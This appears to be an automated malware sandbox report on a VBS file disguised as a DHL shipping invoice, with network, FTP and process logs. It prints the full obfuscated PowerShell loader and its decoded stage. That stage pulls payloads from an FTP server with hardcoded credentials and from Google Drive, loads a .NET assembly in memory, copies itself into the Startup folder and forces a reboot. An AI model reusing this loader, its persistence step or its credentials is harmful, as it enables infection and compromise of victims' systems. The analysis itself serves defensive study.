Timestamp	Bytes transferred	Direction	Data
2024-10-22 04:17:24 UTC	74	OUT	GET /raw/pQQ0n3eA HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-10-22 04:17:24 UTC	391	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 04:17:24 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Tue, 22 Oct 2024 04:17:24 GMT Server: cloudflare CF-RAY: 8d66ad6f6ac1a912-DFW
2024-10-22 04:17:24 UTC	11	IN	Data Raw: 36 0d 0a 66 61 6c 73 65 2c 0d 0a Data Ascii: 6false,
2024-10-22 04:17:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49746	104.20.4.235	443	8100	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 04:17:27 UTC	74	OUT	GET /raw/pQQ0n3eA HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-10-22 04:17:27 UTC	395	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 04:17:27 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 3 Last-Modified: Tue, 22 Oct 2024 04:17:24 GMT Server: cloudflare CF-RAY: 8d66ad80fc5d6bbc-DFW
2024-10-22 04:17:27 UTC	11	IN	Data Raw: 36 0d 0a 66 61 6c 73 65 2c 0d 0a Data Ascii: 6false,
2024-10-22 04:17:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49749	104.20.4.235	443	2676	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 04:17:35 UTC	74	OUT	GET /raw/pQQ0n3eA HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-10-22 04:17:35 UTC	396	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 04:17:35 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 11 Last-Modified: Tue, 22 Oct 2024 04:17:24 GMT Server: cloudflare CF-RAY: 8d66adb4dad53ab8-DFW
2024-10-22 04:17:35 UTC	11	IN	Data Raw: 36 0d 0a 66 61 6c 73 65 2c 0d 0a Data Ascii: 6false,
2024-10-22 04:17:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49750	104.20.4.235	443	7972	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 04:17:44 UTC	74	OUT	GET /raw/pQQ0n3eA HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-10-22 04:17:44 UTC	396	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 04:17:44 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 20 Last-Modified: Tue, 22 Oct 2024 04:17:24 GMT Server: cloudflare CF-RAY: 8d66adee4c613ac7-DFW
2024-10-22 04:17:44 UTC	11	IN	Data Raw: 36 0d 0a 66 61 6c 73 65 2c 0d 0a Data Ascii: 6false,
2024-10-22 04:17:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49751	104.20.4.235	443	6644	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 04:17:52 UTC	74	OUT	GET /raw/pQQ0n3eA HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-10-22 04:17:52 UTC	396	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 04:17:52 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 28 Last-Modified: Tue, 22 Oct 2024 04:17:24 GMT Server: cloudflare CF-RAY: 8d66ae1f7df56c07-DFW
2024-10-22 04:17:52 UTC	11	IN	Data Raw: 36 0d 0a 66 61 6c 73 65 2c 0d 0a Data Ascii: 6false,
2024-10-22 04:17:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Oct 22, 2024 06:17:05.341645956 CEST	21	49730	191.252.83.213	192.168.2.4	220 "Servico de FTP da Locaweb"
Oct 22, 2024 06:17:05.342750072 CEST	49730	21	192.168.2.4	191.252.83.213	USER desckvbrat1
Oct 22, 2024 06:17:05.618324995 CEST	21	49730	191.252.83.213	192.168.2.4	331 Username ok, send password.
Oct 22, 2024 06:17:05.618571043 CEST	49730	21	192.168.2.4	191.252.83.213	PASS BFwGyaUBMY1578@@
Oct 22, 2024 06:17:05.896672010 CEST	21	49730	191.252.83.213	192.168.2.4	230 Login successful.
Oct 22, 2024 06:17:06.168792009 CEST	21	49730	191.252.83.213	192.168.2.4	501 Invalid argument.
Oct 22, 2024 06:17:06.169037104 CEST	49730	21	192.168.2.4	191.252.83.213	PWD
Oct 22, 2024 06:17:06.440356016 CEST	21	49730	191.252.83.213	192.168.2.4	257 "/" is the current directory.
Oct 22, 2024 06:17:06.440857887 CEST	49730	21	192.168.2.4	191.252.83.213	TYPE I
Oct 22, 2024 06:17:06.712142944 CEST	21	49730	191.252.83.213	192.168.2.4	200 Type set to: Binary.
Oct 22, 2024 06:17:06.712310076 CEST	49730	21	192.168.2.4	191.252.83.213	PASV
Oct 22, 2024 06:17:06.984183073 CEST	21	49730	191.252.83.213	192.168.2.4	227 Entering passive mode (191,252,83,213,234,209).
Oct 22, 2024 06:17:06.993275881 CEST	49730	21	192.168.2.4	191.252.83.213	RETR Upcrypter/01/DLL01.txt
Oct 22, 2024 06:17:07.265403032 CEST	21	49730	191.252.83.213	192.168.2.4	150 File status okay. About to open data connection.
Oct 22, 2024 06:17:07.765045881 CEST	21	49730	191.252.83.213	192.168.2.4	226 Transfer complete.
Oct 22, 2024 06:17:10.595839977 CEST	49730	21	192.168.2.4	191.252.83.213	PASV
Oct 22, 2024 06:17:10.910274982 CEST	49730	21	192.168.2.4	191.252.83.213	PASV
Oct 22, 2024 06:17:11.517538071 CEST	49730	21	192.168.2.4	191.252.83.213	PASV
Oct 22, 2024 06:17:11.911505938 CEST	21	49730	191.252.83.213	192.168.2.4	227 Entering passive mode (191,252,83,213,235,2).
Oct 22, 2024 06:17:11.917931080 CEST	49730	21	192.168.2.4	191.252.83.213	RETR Upcrypter/01/Rumpe.txt
Oct 22, 2024 06:17:12.189333916 CEST	21	49730	191.252.83.213	192.168.2.4	150 File status okay. About to open data connection.
Oct 22, 2024 06:17:12.674597025 CEST	21	49730	191.252.83.213	192.168.2.4	226 Transfer complete.
Oct 22, 2024 06:17:19.147663116 CEST	49730	21	192.168.2.4	191.252.83.213	PASV
Oct 22, 2024 06:17:19.419469118 CEST	21	49730	191.252.83.213	192.168.2.4	227 Entering passive mode (191,252,83,213,237,38).
Oct 22, 2024 06:17:19.425901890 CEST	49730	21	192.168.2.4	191.252.83.213	RETR Upcrypter/01/Entry.txt
Oct 22, 2024 06:17:19.698240995 CEST	21	49730	191.252.83.213	192.168.2.4	150 File status okay. About to open data connection.
Oct 22, 2024 06:17:20.183093071 CEST	21	49730	191.252.83.213	192.168.2.4	226 Transfer complete.

Target ID:	0
Start time:	00:16:58
Start date:	22/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs"
Imagebase:	0x7ff722590000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	1
Start time:	00:16:59
Start date:	22/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' + [char]66 + 'EACAARAAnACAALAAgAFgAUA' + [char]66 + 'VAHUAaAAkACAALAAgACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAGIAMg' + [char]66 + 'jAGEAcw' + [char]66 + 'lAC4AYw' + [char]66 + 'vAG0ALw' + [char]66 + 'jAGwAYQ' + [char]66 + 'zAHMALg' + [char]66 + '0AHgAdAAnACAAKAAgAF0AXQ' + [char]66 + 'bAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'vAFsAIAAsACAAbA' + [char]66 + 'sAHUAbgAkACAAKA' + [char]66 + 'lAGsAbw' + [char]66 + '2AG4ASQAuACkAIAAnAEkAVg' + [char]66 + 'GAHIAcAAnACAAKA' + [char]66 + 'kAG8AaA' + [char]66 + '0AGUATQ' + [char]66 + '0AGUARwAuACkAJwAxAHMAcw' + [char]66 + 'hAGwAQwAuADMAeQ' + [char]66 + 'yAGEAcg' + [char]66 + 'iAGkATA' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMAJwAoAGUAcA' + [char]66 + '5AFQAdA' + [char]66 + 'lAEcALgApACAAWg' + [char]66 + 'jAEIAYw' + [char]66 + 'hACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAOg' + [char]66 + 'dAG4AaQ' + [char]66 + 'hAG0Abw' + [char]66 + 'EAHAAcA' + [char]66 + '' + [char]66 + 'AC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwA7ACkAIAApACAAJw' + [char]66 + '' + [char]66 + 'ACcAIAAsACAAJwCTIToAkyEnACAAKA' + [char]66 + 'lAGMAYQ' + [char]66 + 'sAHAAZQ' + [char]66 + 'SAC4AZw' + [char]66 + 'TAHoAQw' + [char]66 + 'CAGwAJAAgACgAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMANAA2AGUAcw' + [char]66 + 'hAEIAbQ' + [char]66 + 'vAHIARgA6ADoAXQ' + [char]66 + '0AHIAZQ' + [char]66 + '2AG4Abw' + [char]66 + 'DAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'aAGMAQg' + [char]66 + 'jAGEAJAAgAF0AXQ' + [char]66 + 'bAGUAdA' + [char]66 + '5AEIAWwA7ACcAJQ' + [char]66 + 'JAGgAcQ' + [char]66 + 'SAFgAJQAnACAAPQAgAFgAUA' + [char]66 + 'VAHUAaAAkADsAKQAgAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAHoAeA' + [char]66 + 'iAGsAbQAkACAAPQAgAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAOwA4AEYAVA' + [char]66 + 'VADoAOg' + [char]66 + 'dAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAuAHQAeA' + [char]66 + 'lAFQALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAPQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAuAHoAeA' + [char]66 + 'iAGsAbQAkADsAKQ' + [char]66 + '0AG4AZQ' + [char]66 + 'pAGwAQw' + [char]66 + 'iAGUAVwAuAHQAZQ' + [char]66 + 'OACAAdA' + [char]66 + 'jAGUAag' + [char]66 + 'iAE8ALQ' + [char]66 + '3AGUATgAoACAAPQAgAHoAeA' + [char]66 + 'iAGsAbQAkADsAKQAoAGUAcw' + [char]66 + 'vAHAAcw' + [char]66 + 'pAGQALg' + [char]66 + '6AHgAYg' + [char]66 + 'rAG0AJAA7ACkAIAAnAHQAeA' + [char]66 + '0AC4AMQAwAEwATA' + [char]66 + 'EAC8AMQAwAC8Acg' + [char]66 + 'lAHQAcA' + [char]66 + '5AHIAYw' + [char]66 + 'wAFUALw' + [char]66 + 'yAGIALg' + [char]66 + 'tAG8AYwAuAHQAYQ' + [char]66 + 'yAGIAdg' + [char]66 + 'rAGMAcw' + [char]66 + 'lAGQALg' + [char]66 + 'wAHQAZg' + [char]66 + 'AADEAdA' + [char]66 + 'hAHIAYg' + [char]66 + '2AGsAYw' + [char]66 + 'zAGUAZAAvAC8AOg' + [char]66 + 'wAHQAZgAnACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUw' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + '6AHgAYg' + [char]66 + 'rAG0AJAAgAD0AIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkADsAKQApACkAIAA0ADYALAA0ADYALAA2ADUALAA1ADUALAAzADUALAA5ADQALAA5ADgALAA3ADcALAA2ADYALAA1ADgALAAgADcAOQAsACAAMQAyADEALAAgADEANwAgACwAOQAxADEAIAAsADAANwAgACwANgA2ACgAXQ' + [char]66 + 'dAFsAcg' + [char]66 + 'hAGgAYw' + [char]66 + 'bACAAbg' + [char]66 + 'pAG8AagAtACgALAApACkAOQA0ACwANgAxADEALAA3ADkALAA0ADEAMQAsADgAOQAsADgAMQAxACwANwAwADEALAA5ADkALAA1ADEAMQAsADEAMAAxACwAMAAwADEAKA' + [char]66 + 'dAF0AWw' + [char]66 + 'yAGEAaA' + [char]66 + 'jAFsAIA' + [char]66 + 'uAGkAbw' + [char]66 + 'qAC0AKAAoAGwAYQ' + [char]66 + 'pAHQAbg' + [char]66 + 'lAGQAZQ' + [char]66 + 'yAEMAaw' + [char]66 + 'yAG8Adw' + [char]66 + '0AGUATgAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAIA' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbwAtAHcAZQ' + [char]66 + 'uACAAPQAgAHMAbA' + [char]66 + 'hAGkAdA' + [char]66 + 'uAGUAZA' + [char]66 + 'lAHIAQwAuAHoAeA' + [char]66 + 'iAGsAbQAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '6AHgAYg' + [char]66 + 'rAG0AJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + '6AHgAYg' + [char]66 + 'rAG0AJAA7AGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAOwAyADEAcw' + [char]66 + 'sAFQAOgA6AF0AZQ' + [char]66 + 'wAHkAVA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAPQAgAGwAbw' + [char]66 + 'jAG8AdA' + [char]66 + 'vAHIAUA' + [char]66 + '5AHQAaQ' + [char]66 + 'yAHUAYw' + [char]66 + 'lAFMAOgA6AF0Acg' + [char]66 + 'lAGcAYQ' + [char]66 + 'uAGEATQ' + [char]66 + '0AG4AaQ' + [char]66 + 'vAFAAZQ' + [char]66 + 'jAGkAdg' + [char]66 + 'yAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwA7AH0AZQ' + [char]66 + '1AHIAdAAkAHsAIAA9ACAAaw' + [char]66 + 'jAGEAYg' + [char]66 + 'sAGwAYQ' + [char]66 + 'DAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'kAGkAbA' + [char]66 + 'hAFYAZQ' + [char]66 + '0AGEAYw' + [char]66 + 'pAGYAaQ' + [char]66 + '0AHIAZQ' + [char]66 + 'DAHIAZQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAewAgAGUAcw' + [char]66 + 'sAGUAfQAgAGYALwAgADAAIA' + [char]66 + '0AC8AIA' + [char]66 + 'yAC8AIA' + [char]66 + 'lAHgAZQAuAG4Adw' + [char]66 + 'vAGQAdA' + [char]66 + '1AGgAcwAgADsAJwAwADgAMQAgAHAAZQ' + [char]66 + 'lAGwAcwAnACAAZA' + [char]66 + 'uAGEAbQ' + [char]66 + 'tAG8AYwAtACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACkAIAAnAHAAdQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AFMAXA' + [char]66 + 'zAG0AYQ' + [char]66 + 'yAGcAbw' + [char]66 + 'yAFAAXA' + [char]66 + '1AG4AZQ' + [char]66 + 'NACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + '3AG8AZA' + [char]66 + 'uAGkAVw' + [char]66 + 'cAHQAZg' + [char]66 + 'vAHMAbw' + [char]66 + 'yAGMAaQ' + [char]66 + 'NAFwAZw' + [char]66 + 'uAGkAbQ' + [char]66 + 'hAG8AUg' + [char]66 + 'cAGEAdA' + [char]66 + 'hAEQAcA' + [char]66 + 'wAEEAXAAnACAAKwAgAGYARA' + [char]66 + 'ZAGMAbQAkACAAKAAgAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'uAGkAdA' + [char]66 + 'zAGUARAAtACAAJwAlAEkAaA' + [char]66 + 'xAFIAWAAlACcAIA' + [char]66 + 'tAGUAdA' + [char]66 + 'JAC0AeQ' + [char]66 + 'wAG8AQwAgADsAIA' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'yAG8AbgAvACAAdA' + [char]66 + 'lAGkAdQ' + [char]66 + 'xAC8AIA' + [char]66 + 'CAGwAcA' + [char]66 + 'rAHQAIA' + [char]66 + 'lAHgAZQAuAGEAcw' + [char]66 + '1AHcAIA' + [char]66 + 'lAHgAZQAuAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAIAA7ACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAdQ' + [char]66 + 'vAFcAWg' + [char]66 + 'UACQAKAAgAD0AIA' + [char]66 + 'CAGwAcA' + [char]66 + 'rAHQAOwApACAAZQ' + [char]66 + 'tAGEATg' + [char]66 + 'yAGUAcw' + [char]66 + 'VADoAOg' + [char]66 + 'dAHQAbg' + [char]66 + 'lAG0Abg' + [char]66 + 'vAHIAaQ' + [char]66 + '2AG4ARQ' + [char]66 + 'bACAAKwAgACcAXA' + [char]66 + 'zAHIAZQ' + [char]66 + 'zAFUAXAA6AEMAJwAoACAAPQAgAGYARA' + [char]66 + 'ZAGMAbQAkADsAKQAnAHUAcw' + [char]66 + 'tAC4Abg' + [char]66 + 'pAHcAcA' + [char]66 + 'VAFwAJwAgACsAIA' + [char]66 + '1AG8AVw' + [char]66 + 'aAFQAJAAgACwAQg' + [char]66 + 'LAEwAUg' + [char]66 + 'VACQAKA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAGcAcg' + [char]66 + 'kAHoAeQAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'nAHIAZA' + [char]66 + '6AHkAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'nAHIAZA' + [char]66 + '6AHkAJAA7AH0AOwAgACkAJw' + [char]66 + '0AE8ATA' + [char]66 + 'jAF8ASw' + [char]66 + 'hADMAWg' + [char]66 + 'mAG8AWAAyAEoASg' + [char]66 + 'yAFYAaA' + [char]66 + 'tAFYAOQ' + [char]66 + 'jAG0AOQ' + [char]66 + 'YAHMAdQ' + [char]66 + 'YAG0AagAxAGcAMQAnACAAKwAgAHEAcQ' + [char]66 + 'sAHIAcgAkACgAIAA9ACAAcQ' + [char]66 + 'xAGwAcg' + [char]66 + 'yACQAewAgAGUAcw' + [char]66 + 'sAGUAfQA7ACAAKQAnADIANA' + [char]66 + '1AFgASg' + [char]66 + 'UAHEAYQ' + [char]66 + 'tAGcAeQ' + [char]66 + 'NAHQARg' + [char]66 + '6AGEAaw' + [char]66 + 'QAFIAMQ' + [char]66 + 'xAF8ASQ' + [char]66 + '2AEcAaQ' + [char]66 + 'YAE4AZA' + [char]66 + 'xAGEATgAxACcAIAArACAAcQ' + [char]66 + 'xAGwAcg' + [char]66 + 'yACQAKAAgAD0AIA' + [char]66 + 'xAHEAbA' + [char]66 + 'yAHIAJA' + [char]66 + '7ACAAKQAgAEQAVw' + [char]66 + 'nAFYAcQAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcw' + [char]66 + 'uAGkAYQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC4ARQ' + [char]66 + 'SAFUAVA' + [char]66 + 'DAEUAVA' + [char]66 + 'JAEgAQw' + [char]66 + 'SAEEAXw' + [char]66 + 'SAE8AUw' + [char]66 + 'TAEUAQw' + [char]66 + 'PAFIAUAA6AHYAbg' + [char]66 + 'lACQAIAA9ACAARA' + [char]66 + 'XAGcAVg' + [char]66 + 'xACQAOwAnAD0AZA' + [char]66 + 'pACYAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'kAD0AdA' + [char]66 + 'yAG8AcA' + [char]66 + '4AGUAPw' + [char]66 + 'jAHUALw' + [char]66 + 'tAG8AYwAuAGUAbA' + [char]66 + 'nAG8Abw' + [char]66 + 'nAC4AZQ' + [char]66 + '2AGkAcg' + [char]66 + 'kAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACAAPQAgAHEAcQ' + [char]66 + 'sAHIAcgAkADsAKQAgACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAHUAbw' + [char]66 + 'XAFoAVAAkACAAKAAgAGwAZQ' + [char]66 + 'kADsAKQAoAGgAdA' + [char]66 + 'hAFAAcA' + [char]66 + 'tAGUAVA' + [char]66 + '0AGUARwA6ADoAXQ' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC4ATw' + [char]66 + 'JAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + '1AG8AVw' + [char]66 + 'aAFQAJA' + [char]66 + '7ACAAKQAgAFYAZg' + [char]66 + 'yAEQAUQAkACAAKAAgAGYAaQA7ACAAKQAyACgAcw' + [char]66 + 'sAGEAdQ' + [char]66 + 'xAEUALg' + [char]66 + 'yAG8Aag' + [char]66 + 'hAE0ALg' + [char]66 + 'uAG8AaQ' + [char]66 + 'zAHIAZQ' + [char]66 + 'WAC4AdA' + [char]66 + 'zAG8AaAAkACAAPQAgAFYAZg' + [char]66 + 'yAEQAUQAkACAAOwA=';$hsdzv = $qKKzc; ;$hsdzv = $qKKzc.replace('???' , 'B') ;;$qqbfx = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $hsdzv ) ); $qqbfx = $qqbfx[-1..-$qqbfx.Length] -join '';$qqbfx = $qqbfx.replace('%XRqhI%','C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs');powershell $qqbfx
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	2
Start time:	00:16:59
Start date:	22/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	3
Start time:	00:17:01
Start date:	22/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $QDrfV = $host.Version.Major.Equals(2) ;if ( $QDrfV ) {$TZWou = [System.IO.Path]::GetTempPath();del ( $TZWou + '\Upwin.msu' );$rrlqq = 'https://drive.google.com/uc?export=download&id=';$qVgWD = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $qVgWD ) {$rrlqq = ($rrlqq + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$rrlqq = ($rrlqq + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$yzdrg = (New-Object Net.WebClient);$yzdrg.Encoding = [System.Text.Encoding]::UTF8;$yzdrg.DownloadFile($URLKB, $TZWou + '\Upwin.msu');$mcYDf = ('C:\Users\' + [Environment]::UserName );tkplB = ($TZWou + '\Upwin.msu'); powershell.exe wusa.exe tkplB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs' -Destination ( $mcYDf + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$mkbxz = (New-Object Net.WebClient);$mkbxz.Encoding = [System.Text.Encoding]::UTF8;$mkbxz.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),(-join [char[]](66, 70, 119, 71 ,121 ,97 ,85,66,77,89,49,53,55,56,64,64 )));$lBCzSg = $mkbxz.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$mkbxz.dispose();$mkbxz = (New-Object Net.WebClient);$mkbxz.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $mkbxz.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\DHLShippingInvoicesAwbBL000000000102220242247.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.ssalc/moc.esac2b//:sptth' , $huUPX , 'D D1D' ) );};"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	00:17:08
Start date:	22/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
